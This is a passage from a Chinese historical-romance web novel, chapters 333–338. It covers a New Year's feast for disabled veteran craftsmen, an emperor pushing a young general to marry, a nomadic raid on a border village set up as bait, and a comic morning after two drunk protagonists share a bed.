闻颜家里人多,一共摆了三桌。 煎炸炖炒,美味佳肴摆了满满一桌。 应知林又搬了两坛酒,大家畅吃畅喝,谈天说地,都很开心。 酒过三巡,大家也吃得差不多了。 闻颜举杯敬大家,她对制颜料的匠人说道:“你们不远万里来到这里,与家人分隔两地。 现在我的生意稳定了,会有源源不断的活计给你们做,你们若是想,可以把自己的亲人接过来。 你们盖房子,我会给你们买子地基,另外还会再发三十两的建房银子。 对了,你们有想成家的就说出来,我会找最好的媒婆,给你们寻来最合适的媳妇。” 十几名匠人听得都怔住了,好一会儿才把她的话消化了。 好几人都瞬间红了眼圈。 有一个眼窝子浅的,瞬间就嚎啕大哭起来。 闻颜被他们的反应吓住。 她有些无措地看向应知林。 应知林握住她的手:“别怕,应该不是因为你。” 康叔叹息一声,也安慰道:“小姐,确实不是因为你。我们这些伤残兵……” 他们这些伤残兵退伍回乡之后,像他这种轻微伤残的还好,像哭得最凶的那个兄弟,双腿膝盖以下都没有了,回到老家,没法下地干活,也没法在外面跑营生。 他们没法给家里创造收入,还要吃喝拉撒,就会成为家里的负担。 起初,他们的家人或许会因为愧疚,因为抚恤金而对他们不错。 可是,久病床前无孝子,更何况他们还只是残废了的兄弟和丈夫。 只是被嫌弃还好。 他们甚至会被抛弃,甚至杀死。 能来这里的人,都是被家里放弃的。 他们没有家了。 是被抛弃的人。 现在突然听见有人这样为他们打算安排,他们才会感动到落泪。 而且。 闻颜作为新东家,真的很好。 工作轻松,伙食开得好,入冬之后还给他们准备了保暖的皮裘,还有贴在患处的膏药。 听佩儿说,那些膏药是闻颜小姐专门请退休的御医配的。 如今还为他们操心将来。 离开这里,他们再也找不到这么好东家了。 康叔轻咳一声,打破悲伤的气氛:“你们这是干嘛呀,过去的都过去了,人,咱们都过上好日子,何必再去想那些伤心事。” 其他人也连忙擦干眼泪,端起酒杯回敬闻颜。 佩儿也跟着活跃气氛,团年饭在愉快的氛围中结束。 饭后,他们便一起聊天守岁。 京城,皇宫。 孟希延来参加宫宴,皇帝将他安排在近前。 孟希延附近,则是京城最出色的那些千金。 宴饮开始之后不久,便是这些千金献艺,她们都有意无意地朝孟希延看。 第333章:逼婚 孟希延对这些弯弯绕绕虽然不敏感,但是他又不是傻,很快就发现了皇上的目的。 唉…… 皇上又在催婚了,孟希延头疼。 献艺过后,不少同龄人过来敬酒,他们身边多少都带着一二个妙龄女子。 孟希延的庶出二妹妹,到了谈婚论嫁的年龄,孟希延就带着她一起来参加宫宴。 她差点被那些人挤到人群外面了。 孟希延一直将她护在身边。 直到一位穿着深色衣裙的女子,领着两个妙龄女子过来与二妹妹说话。 孟希延看见她,脸色眸光微沉。 随后,应知林便借着敬酒,猛灌了几杯之后就假装不胜酒力。 他朝二妹妹使了个眼色,把应酬之事交给了她,就靠在圈椅里假寐。 旁人见状,也不好意思再上前打扰,最多拉着二妹妹说会儿话。 皇帝气得吹胡子瞪眼,跟皇后抱怨:“你瞧瞧,瞧瞧孟希延那个不争气的东西。 我把全京城的适龄又优秀的姑娘,全部请到他面前了,他竟然装醉! 气死我了! 给他安排婚事,能气得我少活十年。” 皇后微微笑道:“儿孙自有儿孙福,希延那孩子明显不想成婚。 你越催,他越有逆反心理,就更不想成婚了。 小孩子嘛,要顺毛哄的。” “老孟和小白一直没抱上孙子,我这不是心里着急嘛!可愁死我了!” 要不是在宴席上,皇帝都要怄得拍大腿了。 终于熬到散席。 孟希延连忙打手势,让二妹妹扶着他离开。 谁知,他们刚走没几步,皇上身边的大总管就走了过来。 大总管站到孟希延对面,笑眯眯地道:“孟小将军,皇上要见你。” 孟希延大着舌头道:“我……我喝多了,我明日进宫再来拜见皇上。” 大总管笑眯咪的道:“孟小将军,皇上让老奴数着的,以您的酒量,您喝的那几杯,连头都不会晕。” 孟希延尴尬地放下扶着额头的手:“劳烦公公带路。” 他让二婶婶带着二妹妹先回家,他则跟着大总管去见皇帝。 孟希延跟着大总管来到偏殿。 刚进门就行了一个大礼:“微臣见过皇上。” 皇上笑呵呵地挥挥手:“快起来,快起来。” 孟希延听见他的笑声就头皮发麻。 皇帝一脸和蔼地赐座赐茶水。 孟希延脊背挺得笔直,如坐针毡。 皇帝先同他闲话家常,然后才笑呵呵地问他:“今晚来了那么多世家贵女,可有你看中的。” 孟希延只得重新站起来,重新跪下:“皇上,臣……还不想娶妻。” 皇上脸上的笑差点绷不住:“你这孩子,都二十好几了,咋就不想成婚?你的同龄人孩子都启蒙了。” “望皇上成全。”孟希延重重磕头,咬死不肯松口。 额头撞在地上,发出砰砰的声响。 皇帝听得心肝一颤,连忙叫人把孟希延扶起来。 孟希延却不肯起来,额头贴着地面,一动不动。 原本和颜悦色的皇帝,突然就来了火气。 他沉声问道:“那你说,你看上的姑娘叫什么名字,朕就是抢,也要把她抢过来,再赐婚给你。” “求皇上不要为难她,我不想牵连她的名声。”孟希延求情。 皇帝彻底怒了,气得胡子直翘。 他一巴掌拍在案几上,声音也沉了下来:“你护他护得倒是紧,竟然还敢抗旨!” “臣错了,皇上恕罪。 那姑娘心仪的人并非是微臣,臣不想让喜欢的女子为难,更不想她因为自己受人非议。 我不想自己的感情,成为别人的负担。” “你不想为难那个姑娘,就来为难我!”皇帝气得胸口痛。 孟希延十五岁时,皇帝就开始给他张罗婚事。 那时的孟希延还少年义气,直说自己有心仪的姑娘,还有一年她就及笄,到时他就托人问过她的意思,再请皇上赐婚。 一年之后,皇帝再问他时。便得知那姑娘已经被家中许经他旁人,甚至连婚期都订下了。 皇帝便想给他重新挑一个女子成婚。 他却一时放不下她。 他想等女子一年之后成婚,他死心了再议。 于是他去了边疆,跟着父亲在那边历练。 婚期过后,皇帝想再给他们赐婚。 孟希延就跑到他面前撒泼,说女子婚后并不幸福,他想再等一等,或许她会和离,那自己就有机会娶他了。 “你你你……瞧你那不值钱的样子,真是气死我了!”皇上当时差点气厥过去。 于是就这样一拖再拖,眨眼就过了六年时间。 这些年,皇帝不是没派人查过女子的底细。 但他派出去的人,很快就被孟希延察觉了。 自此之后,他就像修了闭口禅,再也不提那个女子的事。 为了不引起怀疑,他甚至不会多看家人之外的女子一眼。 皇上甚至还怀疑,他喜欢的人是不是闻颜那个小姑娘。 他特地派人查过。 孟希延之所以对闻颜好,都是因为孟迟飞喜欢她。 孟希延的保密做得太好,六年下来,皇帝愣是没将那女子找出来。 想起往事,皇帝气得更加肝疼了。 “没想到,你孟家尽出些痴情种。”皇帝一声冷笑,眼看是风雨欲来的架势,孟希延都已经做好了受罚的准备。 却听皇帝长叹一声:“原本想趁着过年的时间给你挑一个好媳妇,在你出发去晋阳府之前把婚事定下。 到时你去晋阳府上任,我让内务府帮你操持婚事,你回来就能成婚。 皇后说得对,强扭的瓜不甜,既然你无意成婚,那我便不再强求你。 你愿意等那个女子到何时就等到何时,全都由你吧。” “不过,老孟和小白总不能绝后吧。 你们兄妹两个婚事不顺,总有一个要成婚的,既然你不想成婚。 那就让迟飞努努力吧。” 孟希延心头一跳:“皇上,您想怎么做?” 皇帝道:“我不愿老孟和小白的香火无继,你不愿承担起这个责任,迟飞应该不会拒绝。” “不行。”孟希延立即反驳。 他最了解迟飞了。 她就是个还没开情窍的傻姑娘,她没有喜欢的人,觉得嫁给谁都无所谓。 所以,她曾经也不喜欢孙如澜,甚至有些讨厌他。 可是爹娘说阿爷为他们订下婚约,迟飞便答应了。 第334章:孟希延藏着的女子 迟飞说:“嫁谁不是嫁?只要人品可靠,便是极好的。” 妹妹虽然对婚姻不在乎,但他却不能不在乎。 他怕将来有一天,妹妹开了情窍,遇见喜欢的人,却因为嫁为人妇,而不能跟有情人在一起。 他不想妹妹人生留下憾事。 他要妹妹过得潇洒恣意,能按照自己的心意,过完一生。 皇帝朝大总管使了个眼色。 太监总管立即端着一大叠画卷来到孟希延面前:“这些是我为迟飞挑选的好男儿,有文有武,长相也是各种类型。 你且先筛选一遍,等明年迟飞回京,再让她自己挑。” 孟希延猛地怔住:“可是……皇上,迟飞她……” 大总管生怕他说出什么不全适宜的抗旨的话,提醒道:“孟小将军,你还是先看看画像吧。” 这就是非要给迟飞赐婚不可了。 孟希延看都没看那幅画:“皇上,臣愿意成婚。” 片刻之后,孟希延拿着一个包袱出了皇宫。 包袱里装的,是皇上为他挑选的,京城适婚女子的丹青画卷。 孟希延发现二婶婶的马车还停在墙根下边。 他轻夹马腹,走了过去。 马车帘子掀起来,二婶婶看着他询问:“皇上又催你的婚事了?” 孟希延点点头,晃了晃手里的包袱,无奈苦笑:“皇上让我上元节之前定下人选。” 二婶婶张了张嘴,也想劝他早日成婚,为家里开枝散叶,省得大哥大嫂和皇上为他操心。 不过转念一想,大哥大嫂作为希延的亲爹亲娘都没逼着他成婚,自己这个二婶婶也不必多嘴。 他回府途中,一直都心不在焉。 快到家,路过一条小巷,巷中忽然传来两声微弱的轻咳。 巷子里漆黑一片,什么都看不清。 但他还是朝巷子里,不着痕迹地点了点头。 待他将人送回府后,他回自己院中略坐一会儿,便又悄无声息地离开了家。 没一会儿,他就来到那条传来咳嗽声音的小巷子。 黑暗中,站着一位身穿着深色衣裙的纤瘦身影。 听见应知林的脚步声,她转过身来。 露出一张粉面桃腮的惊艳脸庞。 女子对他微微点头,算是打过招呼了。 “宁小姐深夜找孟某,所为何事。” 宁小姐呆呆地看着他,直到孟希延蹙眉不悦,她才开口问道:“皇上想给你赐婚,对吗?” 孟希延忆起往事,心里便涌起难以忍受的酸涩。 他没有说话,只是点了点头。 宁小姐道:“这么多年过去了,你也该成婚了。” “我知道。这一次,我不打算再拒绝。”不是不想,而是不能拒绝。 否则,自己的责任就要迟飞来承担。 “那挺好的。你能往前走,我……很高兴。”宁小姐的声音瞬间就哽咽了。 夜色里看不清她的表情,只能从模糊的轮廓看见她的双肩微微抽动。 好半晌,宁小姐才说道:“对不起,是我害了你。” “呵!”孟希延低笑了一声。 宁小姐倏地禁声,愣了片刻,她才道:“她要回来了。” “什么!”孟希延的声音忽地拔高。他两步走到宁小姐跟前,居高临下地紧盯着她,“她真的要回来了?” “千真万确。他们本该年前就到家的。天降暴雪将他们困在客栈,等这雪停了,过不多久她就能抵京。” “谢谢你告诉我这些。你有带人过来吗,可要我送你回去?” “不必,巷子的另一头,有人在等我。” “好。”孟希延应了一声,目送她离开。 确定她安全回到巷口的马车上,孟希延这才飞檐走壁回到了将军府。 他一路回府,激动的情绪怎么都压不下去。 他急切地想找一个人倾诉自己的心情。 但是,知道那个人身份的人只有爹娘和妹妹,可他们都不在家。 他便想找闻颜这个小妹倾诉。 他转身就朝马厩走去。 他都牵着马到了门口,被门房拦住:“大公子,这个时辰您要去哪儿啊?这会儿城门都关了,您也出不了城啊。” 孟希延才想起这事儿。 他把缰绳甩给门房,自己去了酒窖。 五坛酒下肚,他脑袋变得晕晕乎乎。 刻意遗忘的往事,仿佛自己长出翅膀,钻进他的脑海。 他对她一见钟情。 可她却与他最好的朋友有了婚约。 只要他想,向帝后求一道圣旨,便能将她抢过来。 可是,朋友妻不可觊觎。 他们情投意合,他愿意成全,主动退出。 待他从关边历练回来。 她却成了新寡,扶柩回乡守灵。 他至今仍然记得,那日,他凯旋而归,穿着盔甲意气风发。 她身着喜服,站在漆黑的灵柩前。 四目相对。 她红肿的眼眶里,全是破碎的泪光。 那一刻,他恨透了自己的退让。 当初只要自己再勇敢一点,霸道一点,请一封赐婚圣旨,兴许好友不必丧命,她也不用担上克夫的名声。 也是自那一刻起,他便知道,自己此生与她再无缘分。 如今皇上要赐婚…… 自己能再博上一博吗? 孟希延想着想着,便酩酊大醉,睡在了酒窖里。 ** 一名黑暗探,几乎完美地融入阴影当中。 确定孟希延不会再出门时,他便起轻功径直回皇宫复命。 他将自己今晚所见,一点不差地禀报给皇帝。 皇帝听完之后,屏退暗探,这才表情复杂地看向皇后:“大半夜的和宁家姑娘,在小巷子里碰面。 难不成,希延那小子的心上人是那宁家姑娘? 你知道宁家姑娘的情况吗?” 皇后想了想:“我记得宁家那丫头已经成婚了,夫妻恩爱。 希延喜欢的女子若是她,那可真是够命苦的。” “他的保密工作做得可真好。 这么多年了,竟是一点风声没露出。 要不是今日逼着他成婚,也查不出那姑娘的身份。” 皇帝不悦地哼了一声,明显因为被瞒了这么久而不高兴。 他忽然长叹一声,有些多愁善感起来:“娘子,我是不是做错了?” 皇后道:“错也不错。希延在别的事情上都极易变通。 唯独感情上的事不顺。 希延那孩子在感情上钻了牛角尖。 这么多年了他还没走出来,难道我们要睁睁看着他孤独终老不成?” 第335章:应知林,你好好闻 松山村。 应家。 子时一到,应家人就全部聚在院子里放爆竹烟花。 一朵朵烟花在天空炸开,五彩缤纷,美得让人窒息。 应知海高兴得一蹦一跳。 他这半年本就被养得胖嘟嘟的,今日穿着保暖的皮裘,就更圆了。 他一蹦一跳的时候,就像一只鞠球在地上弹跳,别提有多可爱了。 闻颜看着一闪而逝的炫丽烟花,身边欢笑打闹的孩子,还有身边的‘家人’。 她的内心从未像现在这样平静过。 她忍不住回头看向身边的男人,烟花的光晕撒在他棱角分明的脸上,明明灭灭,让他更加深邃诱人。 那鼻尖,那下巴一定很好亲。 还有他的喉结……轻轻咬上一口,一定会性感得要死! “我脸上有脏东西吗?为何一直看我?”应知林突然回过头来。 闻颜抿了抿唇,连忙心虚地移开目光。 “没……我就是随便看看。” 应知林勾了勾嘴唇。 果然,只要保持住自己的姿色,就不怕闻颜不动心! 放完烟花爆竹,闻颜和应知林一起给大家发压岁红钱。 家中老人,每人一两银子。 其余人不论身份都是半两。 应知海捧着手里的半两银子,口水不由自主地流了下来:“老天奶嘞,这么多银子,能买多少串糖葫芦了啊!” 应知雪在她脑袋上敲了一下:“整天就知道吃,你就不能想点别的。” 应知海不服气:“买吃的哪里不好了?你拿着这么多钱,又想干嘛?” “我肯定是要拿去买首饰啦!我看上一对绢花好久了,这次我一定要拿下。” “切,你还不是一样,满脑子都是花儿串儿的,没意思。” 姐弟俩吵着嘴,就一起回屋休息去了。 闻颜和应知林也回屋了。 闻颜洗漱过后就上床休息,可她翻来覆去怎么都睡不着。 应知林问她:“睡不着吗?” “嗯。”闻颜猛地一下坐起来,“家里还有酒吗?” “你还想喝?”应知林问。 晚饭时她就喝了不少,此时再喝,能顶得住吗? 可是闻颜问他:“你陪我一起再喝一点呗!” 应知林还怎么拒绝得了。 “我去拿酒。”他的动作比闻颜还要麻利。 “那我去灶房摸点下酒菜。”两个人蹑手蹑脚地到前院。 一个去搬酒,一个去拿下酒菜。 闻颜还顺了个温酒的小火炉,两人就在窗前的小榻上喝了起来。 许是晚饭喝的酒还没醒,闻颜今晚的话格外多。 她和闻颜说她做生意时遇到的趣事,又说嫁给他的这段时间,虽然辛苦奔波了一些,但她其实很踏实,很舒心。 又说起村里的婶子们,虽然爱嚼舌根一些,但大部分都是很好的人。 应知林看着她说话时,绘声绘色的模样,不由觉得,这才是她真实的性格吧! 活泼、喜欢热闹、怜老惜幼、助人为乐。 他到底经历了什么,才会性格大变呢? 想到放假前,吴蕴子特地找到他,跟他说起晋阳府的事。 吴蕴子问他:“你了解真正的闻颜吗? 你见过她杀人时,手起刀落狠辣的样子吗? 你见过她为了钱四处算计别人时,有多么的无情吗? 偌大的一个晋阳府,本来就缺水,她却能毫不手软的在城中四处放火。 但凡有一点点偏差,整个晋阳府都会化为灰烬。 城里十几万条性命,她一点不顾!” 应知林当时没有回答吴蕴子的那些问题。 此时此刻,他已经有了明确的答案。 闻颜的手段还是太柔和了。 若是他在那个位置。 应知林发出一声冷笑。 闻颜说得口干舌燥,打了个嗝。 她想拿酒压一压,发现酒杯空了。 她去拿酒壶,谁知碰到温酒的小火炉。 ‘啊……’闻颜烫得一下缩回了手。 她下意识就想把手伸嘴里吮,被应知林一把扣住手腕,“不能放嘴里,让我看看。” 捋开她的手指,就发现她的指腹上红了一片。 应知林皱起眉头,将碗里的糕点倒掉,又倒了满满一碗凉酒在里面,再将她烫伤的手指按了进去。 “会痛……”闻颜下意识地想缩回手,却被应知林牢牢按住,根本缩不回去。 “你别动。把手在凉水里泡一泡,才不会起泡留疤。”应知林提醒道。 手指没入凉水里,灼痛感果然消弱好多。 她舒服地叹了口气:“果然不痛了。” 手烫伤了也不影响她馋酒。 应知林眼疾手快,把他两只手都控制住了。 闻颜急了,用下巴指了指桌上的酒杯:“哎呀,你就让我喝吧!一年才放纵一次,你不要拦我。” 闻颜自己用下巴去够酒瓶,应知林下意用身体去撞。 闻颜的额头一下撞在他下巴上。 “好痛……”应知林痛呼一声。 闻颜有些晕头转向,一头栽进应知林怀里。 应知林一下怔住,又连忙抱紧了她,生怕桌角撞到他。 应知林的气息干净清新,带着一股冷冽的黑香,瞬间将闻颜包围。 在他身上蹭了蹭,舒服的靠进了他怀里:“应知林,你好好闻啊!” 应知林轻飘飘的,像瞬间就要起飞。 “你喜欢我的味道吗?” “喜欢。”闻颜说着,还在他胸口上猛吸了一口。 “那你就多抱抱我,一直闻好不好?” 闻颜却挣扎着推开了他,皱着鼻子,点着他的胸口,十分认真的道:“应知林,以后你不要再这般纵容我了。” “为何?”应知林问。 闻颜眯着眼睛,努力想要看清他:“当然是因为你长得太诱人了啊! 我很肤浅的,容易被美色迷惑。 那样就不好离婚了。” “离婚?你为何一定要与我和离?是我的脸不好看?我的身材太差了?还哪里做得不够好吗?” “男人没一个好东西。” 有用的时候是亲亲娘子,千好万好;一旦自己翅膀硬了,与他同甘共苦的发妻,便成了他的耻辱,恨不得除之而后快。 “你怎知我不是好东西?你没亲身试过,就没有发言权。”应知林觉得自己怪冤枉的,“我发誓……” “停!”闻颜立即打断他。 前世,霍耀行便是用一套一套的花言巧语,把她骗得团团转。 【注:离婚一词最早出现在《晋书》】 第336章:我只做你的男人 闻颜嘲讽道:“男人的誓言,就像放屁虫放的屁,动静不大,但是真的很恶心人。” “那些都是还没发生的事,这样对我太不公平了。” “公平?难道要我为了你的公平,等到你背叛我的那一天,把自己弄得满身是伤吗? 我不会再做那种傻事了。” 不会再做? 应知林追问:“谁这样对你过?告诉我他的名字,我帮你报仇!” “好啊,你去帮我报仇啊! 他叫霍耀行,你去帮我杀了他……不,不要一下杀死,我要把他在意的东西一点点毁掉,我要让他生不如死!” 原来是他,那个与闻颜有过婚约的侯府世子。 看来换亲之事给闻颜造成了极大的伤害。 或许,闻、霍两家还做过更过分的事。 他将闻颜搂得紧紧的,爱怜的摩挲着她的头发。 “放心吧,那些得罪你的人,我会让他们后悔来到这世界上。” 可惜,闻颜已经醉酒睡着了,根本就听不见了。 应知林无奈又宠溺的笑,他像是患上了闻颜饥渴症。 怎么看她都不够。 他想要跟她蹭蹭贴贴。 他知道这样不对,是趁人之危。 但他就是按捺不住,亲亲她的额头、眉毛、眼睛、鼻子、嘴唇。 他将脸埋进闻颜的颈窝,用力汲取她身上的味道。 “颜颜,我喜欢你,我这辈子,只做你的男人。 你也快点喜欢上我,好不好!” 回家他的,只有闻颜均匀的呼吸声。 他贴着闻颜好一会儿,应知林才依依不舍的松手,将她放到床上,紧紧拥抱着她入睡。 屋外。 暴风雪的风声渐渐变小。 ** 北境。 一个山坳之中的小村庄。 村庄虽然贫瘠,但在除夕夜还是挂上了灯笼,门上也换了新的春联。 一队人马,顶着风雪,策着马,尖叫着冲进村庄里。 不一会儿,村中就传来一阵阵惨叫声。 地上的白雪被染成红色。 衣衫破旧褴褛的百姓,一个个倒在血泊当中。 “头领,这里有好东西。”忽然,村子里最好的房屋当中,传来兴奋的喊声。 领头之人,策马走了过去。 没一会儿,他们就抬出五六口箱子。 箱子一一打开。 一些丝绸衣裳、首饰头面出现在箱子里。 一名手下道:“这些看起来像汉人女子成婚的嫁妆。” “头领,这布料摸起来好软好滑,一看就是那些有钱人穿的。” 头领立即察觉到不对劲:“这些东西很名贵吗?” “当然很珍贵,在边关的榷场里,十头羊才能换一匹这样的丝绸布料。” “这么名贵的东西,就更不该出现在这个破村庄里。莫非这里同有诈。” “头领,里面还有个活口,要不要拎出来审一审。” 头领点头。 他的手下立即就去把人抓了过来,扔在地上。 是一个穿着皮裘衣的中年男子。 男子吓坏了,瘫软的跪在地上不断求饶:“大人,求您放过小的吧。小的只是个帮主子采购聘礼的下人,小的不是这里村子的人。” “你不是这个村子的人?那你是哪里的人?” “小的是聊城商户朱家的下人。 家中小姐定下亲事,就命小的去京城采购了一下时新的首饰。 小的买完东西回来,被大雪困在路上,只好借住在此。 小的真的不是这个村子的人。” 头领听完,满脸络腮胡子的脸上,并没有太多的表情。 而是看了手下一眼。 不一会儿,便有一个手下站出来道:“聊城确实有一个姓朱的商户,颇有资财,家里确实有个待字闺中的女儿。” 他们是关外的有狼一族,为了方便劫掠,他们对边关这些城镇的富户情况,可能比当地父母官还清楚。 “看来这些东西没问题,把这里清扫干净,我们要去下一个地方了。” “是,头领。” 他指了指箱子里一盒首饰头面。 手下立即双手捧给了他。 他打开盒子,只见里面躺着一套金灿灿,做工很是精致的首饰头面。 这样式,倒是很适合他那温柔似水的妹妹。 他将盒子塞进怀里,一夹马腹就朝下一个村子而去。 那名下人,看见他的动作之后,他的嘴角不由往上勾了勾。 只是,那抹笑意还没来得及在他脸上绽放。 劫匪的下属就手起刀落,一刀捅穿了那个‘下人’胸膛。 那些劫匪离开之时,扔下一把大火,将这个村庄付之一炬。 只是。 那名离开的头领眉头微蹙。 他总有一股怪异感,但一时又说不清道不明。 他觉得怪异的是,刚刚被他清洗的村庄里,死的几乎都是老人。 不过他没心思细究,因为接下来还有好多村子,等着他光临。 经过一夜的辛苦打劫,天色微亮之际,这队人马,满载而归。 那名头领,下马之后,欢喜地回到自己的帐篷。 一个十六七岁,身体瘦弱的女子便跑出来。 “阿兄,你回来了!”女子笑盈盈地看着头领,眼睛里像是盛满了亮晶晶的星辰。 他心里满是笑意。 温柔地抚了抚女子的头顶:“阿兄不在,你有没有乖乖听话?” “阿朵儿最听阿兄的话,昨晚我都好好呆在家里,睡得可好可好了。” “我们家的阿朵儿真乖,也不枉阿兄给你准备的好东西。”他从怀里拿出一只精致的盒子,看见上面还沾着两滴血。 他扯过衣袖擦掉,才递到女子面前,“你看看,喜欢不喜欢?” “这是阿兄特地留给阿朵儿的吗?” “当然,阿朵儿喜欢吗?” 少女欢喜地打开了盒子,看见里面精致的首饰,她欢喜得不得了。 “好漂亮啊! 阿兄,你真好! 阿兄是世界上最好的阿兄。”她合上盖子,准备把它好好收藏起来。 头领按住她的手,“你收起来做什么?阿兄拿给你,就是要让你把自己打扮得漂漂亮亮,而不是把它束之高阁,偶尔拿出来看看。” “我都听阿兄的,现在就戴上。”说着,她就拿出里面的掐丝蝴蝶簪。 “阿兄帮你戴。”头领接过簪子,插在阿朵儿的头发里。 阿朵儿抬起头来,晃了晃脑袋,眼神亮晶晶地看着兄长:“怎么样?好看吗?” 阿兄捏捏她的脸颊:“它衬得我家阿朵儿更好看了。” 阿朵儿冲他甜甜一笑。 第337章:是你非礼我 北境军,大营。 天色渐亮。 孟迟飞一身血气,领着一支十人小队,回到军营。 她直奔主帅大营。 她在帐前下马,把缰绳扔给手下,就朝大帐走去。 却被守卫拦住:“孟校尉,您怎么这个时候回来了?以前你都是过完年才回来的啊。” “别说了。我娘跟我哥闹矛盾,我娘一气之下离家出走,我夹在中间怎么办,只好追来当和事佬。 结果途中遇到暴雪,差点没把我冻死在路上。 昨儿夜里,风雪好不容易停了,我就急急忙忙赶来军营,结果又遇上洗劫村子的匪徒,我去救人,就拖到了现在。” 孟迟飞摆摆手,无奈的样子,活脱脱一个受气包。 闻颜要进帐又被拦了下来:“那个……孟校尉,里面正在商量军机要事,你现在不方便进去。” “那我在外面等等吧。”孟迟飞就倚在旁边的柱子上,拿出匕首仔细擦去上面的血迹。 想到那些被劫的村庄,她的眼眶还是红了。 原本,她是要把村中之人全部迁走的,可那些村子里的老人却说,村中无人,有狼一族必定会起疑。 于是偷偷回村中当诱饵。 她发现追过去时,发现的只有那些老人冻僵的尸体。 她气愤之下,把一队人马追着杀。 要不是还需要他们把那些东西带回族里,她定会将他们杀个片甲不留。 忽地。 营帐的帘子掀起来,副将、军师陆续出来。 看见孟迟飞都热情地同她打招。 孟迟飞待他们离开之后,闻颜才进了帐子。 只见帐子里站着一个身长八尺,身形高大威猛,一脸络腮胡子的男子。 他便是孟迟飞的父亲,孟尽岳。 孟尽岳身后,站着身穿男装的白夫人。 “迟飞儿!”孟尽岳看见宝贝女儿,高兴地迎了上来,拉着女儿的手,将她浑身上下看了个遍。 确定她没有少胳膊少腿,也没有受伤之后,才松了口气。 白夫人这才问道:“你安排的事,如何了?” “一切都按计划进行。”想到那些死去的老人,她就笑不起来。 孟迟飞摇了摇头:“不提这些了,爹爹你张嘴,我给你吃一个好东西。” “什么好东西?是不是闻颜那孩子又做了新的吃食?”孟尽岳乐呵呵的说完,还是听话的张开了嘴。 闻颜拿出小玉瓶,小心翼翼地倒出里面的药丸,塞进他的嘴里。 药丸一入口,孟尽岳就尝出了不对劲,不是吃的,更像是药丸。 他想吐出来,却被孟迟飞死死捂住嘴。 直到孟将军把药丸吞下,才松了手。 孟将军干咳几声:“现在你可以跟我说了吧,你给我喂的是什么?” “合香丸。” “什么!”孟将军跳脚。 “合香丸可是能解百毒的神药,你干嘛给我吃了? 我好端端的,吃它也是浪费。 不如留着,将来不知能救多少将士的性命。” 孟将军气得在原地转圈圈,恨不得现在就抠嗓子眼,把药丸吐出来。 “你为何要给我吃合香丸?这是宫中御药,一共才四颗,你们又是如何得来的?” 孟迟飞叹息一声,问道:“爹,你有没有觉得,自从你上次受伤之后,身体就每况愈下,别说回到巅峰,就算多练一会儿招式,都会力不从心?” “那支箭扎得深,还带着毒,身体有损伤很正常,再休养一阵就会好起来的。”孟尽岳心虚地移开目光,这些状况他连妻子都没说,闺女怎么会一清二楚。 “不是的。是您的毒根本没有解,它正在一点一点蚕食你的身体。 要不了多久,你的身体就会被掏空。 到时别说上战场,您连站起来都困难。” 孟尽岳佯装生气:“胡说八道,咋一点不盼着你爹好?” 闻颜抱着他的胳膊撒娇:“哎呀爹,咱们宁可信其有不可信其无,就算是倾家荡产,我也不想拿您的身体冒险。” 白夫人也在一旁敲边鼓:“难得女儿一片孝心,你就别生气了。 况且,那些钱也是用在了实处。” 孟尽岳用胳膊撞了撞白夫人的肩膀:“夫人说什么,就是什么啰!” 孟迟飞捂着眼睛:“没眼看,完全没眼看!” 随后,她又说起给有狼一族下套的事:“不出意外,再有半个月我们就能见到成效,防止自己人中招,我们的大夫和药材也要准备起来,以防到时抓瞎。” 商讨完事情,就见一个十二三岁的男孩冲进帐篷:“大姐,大姐……” ** 松山村。 闻颜一觉睡到自然醒。 她伸了个懒腰,只觉得脑袋下面有什么东西硬邦邦的。 她缓缓睁开眼睛,入眼便是应知林那张放大的俊脸。 而且……他们还是搂着睡的! “嘶……”闻颜倒吸一口气,应知林怎么能搂着自己睡。 一定是自己醒来的方式不对。 她用力揉了揉自己的眼睛,再重新睁眼。 应知林那张脸竟然还在! 老天爷耶! 自己竟然真的和他搂着睡了,还枕着他的胳膊。 身体反应比脑子还快。 她一脚踹过去,应知林瞬间就掉到床下。 “哎呦!”应知林痛呼一声,扒着床沿爬了起来。 他泪眼汪汪地看着闻颜:“柳闻颜,你为何踹我!” 闻颜指着他,气鼓鼓地道:“你还问我,该我问你才对吧! 你为什么要对我……对我那样!” 闻颜做了一抱人的手势。 “昨天晚上你说我身上的味道很好闻,一直往我怀里钻,还非要抱着我睡。”应知林委屈地撅了撅嘴巴,“明明是你占了我的便宜,你却反咬我一口,你们女子都是这么霸道的吗?” “不可能!”闻颜立即否认,我不可能做出这种事。 “我明明没有用任何香熏,你非说我身上有什么冷冽的墨香,不信你自己再闻闻。” 应知林把手伸到她面前。 闻颜狐疑,凑过去闻了闻。 他的身上果然有一股清冽的墨香,她很喜欢,甚至有些欲罢不能。 难不成真是自己错怪他了? 闻颜脸颊火辣辣的发烫,心虚地移开目光。 应知林悄悄地瞧闻颜的脸色,见她不再怀疑自己,重重松了口气。 好险,差点就暴露了。 第338章:化雪了 没想到竟是自己轻薄了他。 闻颜扯着被子捂着脸,这也太尴尬了。 这屋子没法呆了。 她赶紧穿上厚厚的衣裳,逃之夭夭。 闻颜打开门。 阳光就穿过屋檐,洒在闻颜脸上。 那光冰冷又强烈,刺得她睁不开眼。 闻颜连忙扭头,避开光线,这才发现大风依旧呼啸,风里则已经没有雪花。 “哇!雪停了!”闻颜开心的冲屋里喊,“应知林,快出来看,雪终于停了。” “真的吗?太好了!”应知林出来看见大雪,也跟着松了口气。 这雪虽然停了,但是几米厚的积雪,想要化掉非一日之功。 闻颜叹了口气:“今日初一,明日初二,看来我是回不了娘家了。” 她还想初三去给二姐姐家,给方家一个深刻难忘的教训。 雪这么厚,她还去得成吗? 应知林抓了一把雪,轻轻一捏雪就散开了。 “先等等看吧,这雪松,太阳和风都大,说不定到明天就化了。” “也只能等等看了。” 早饭过后,闻颜就去村里转悠。 村里热闹极了。 除了族长在在统计被雪压垮的房子。 其他人都在扫雪清路。 原来,哑妹家的房子,在他们把哑妹婆婆背出来,没一会儿就垮掉了。 幸福她和闻颜当时走得早。 闻颜发现,村民将积雪用推车运去山脚下的一条岩缝里。 “这里面是做什么的?”闻颜好奇问道。 应知林道:“这里面其实是一个巨大的山洞,是坛子口小肚大的形状,到了夏天里面的温度要比外面低很多,他们把雪堆在里面,再把口封上,就想当于存水。” “可关了这么久的死水,还能喝吗?” “不能喝还可以用来洗涮、浇地。等到真正用水艰难的时候,未必不能救命。 除了这个山洞,村里各家的水窖也要灌满雪水封存。 我们村每年都会这样存水,毕竟老天爷的事,谁也说不准。” 这样的行为未必有多有用,但是能让村民安心。 大家忙和是热火朝天,很快村里的路就清出来了。 随后,村长就带着村民去清理主道的雪。 